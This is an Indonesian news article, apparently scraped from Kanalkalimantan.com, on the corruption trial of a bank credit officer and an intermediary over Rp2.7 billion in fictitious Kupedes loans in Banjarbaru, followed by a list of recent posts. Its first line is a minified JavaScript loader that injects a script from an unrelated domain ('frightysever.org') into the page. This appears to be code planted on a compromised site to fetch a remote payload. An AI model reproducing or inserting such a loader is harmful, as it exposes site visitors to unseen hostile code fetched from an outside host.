(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gelapkan Kredit Rp2,7 Miliar Bank BUMN di Banjarbaru, Dua Terdakwa Disidang


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pegawai bank BUMN di Kota Banjarbaru bersama seorang perempuan yang bertindak sebagai penghubung didakwa melakukan korupsi penyaluran kredit Kupedes tahun 2022.

Richard Wylson Takaendengan (37) yang menjabat Mantri Kupedes bank plat merah Unit Guntung Payung dan Etna Agustiany (48) swasta telah menjalani tiga kali persidangan di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin.

Terakhir pada Rabu (23/8/2023) kemarin, sidang beragenda pembacaan eksepsi terdakwa Etna dan tanggapan Jaksa Penuntut Umum (JPU) atas eksepsi terdakwa Richard.

Tidak tanggung-tanggung, total kerugian negara yang diakibatkan perbuatan kedua terdakwa mencapai Rp2,7 miliar.

Baca juga: Mantan Pembakal Anjir Seberang 1 Pasar Diganjar 2 Tahun Penjara

Angka kerugian negara itu tertuang dalam laporan Auditor Badan Pengawas Keuangan dan Pembangunan (BPKP) Provinsi Kalsel atas laporan dugaan tindak pidana korupsi kredit Kupedes fiktif dengan cara topengan, dan tampilan yang disalurkan oleh bank tersebut pada 7 Oktober 2022.

Kedua terdakwa Richard dan Etna sendiri telah ditahan oleh jaksa penuntut umum sejak 12 Juli 2023 lalu hingga saat persidangan. Untuk Richard ditahan di Rutan Lapas Kelas II B Banjarbaru, sedangkan Etna ditahan di Lapas Perempuan Martapura.

Dalam dakwaan primer, JPU dari Kejari Banjarbaru memasang keduanya dengan pasal 2 ayat (1) Jo pasal 18 Undang-Undang Nomor 31 tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang pemberantasan tindak pidana korupsi Jo pasal 55 ayat (1) KUHPidana.

Kemudian subsidair pasal 3 Ayat (1) Jo pasal 18 Undang-Undang Nomor 31 tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang pemberantasan tindak pidana korupsi jo pasal 55 ayat (1) KUHPidana.

Baca juga: Pelatih-Pemain Bintang Barito Putera Jumpa Pendukung di Blas Festival 2023

Pada sidang tanggapan atas eksepsi terdakwa Richard, JPU dari Kejari Banjarbaru menepis segala nota keberatan yang dilayangkan penasehat hukum terdakwa.

Pihaknya menilai surat dakwaan telah sah secara hukum dan meminta untuk dilanjutkan ke tahap pembuktian.

“Meminta majelis hakim menolak eksepsi terdakwa, menyatakan dah dakwaan penuntut umum, dan melanjutkan pemeriksaan perkara,” kata JPU Andra membacakan tanggapan atas ekspsi terdakwa Richard.

Baca juga: Api Muncul Lahap Belukar di Tungkaran Martapura

Majelis hakim memutuskan untuk menjadwalkan kembali sidang pada Rabu (30/8/2023) dengan agenda tanggapan JPU atas eksepsi terdakwa Etn. Kemudian untuk perkara Richard ditunda hingga dua pekan kedepan pada Rabu (6/9/2023) dengan agenda putusan sela. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

5 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

5 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

5 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

6 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

6 jam ago

This website uses cookies.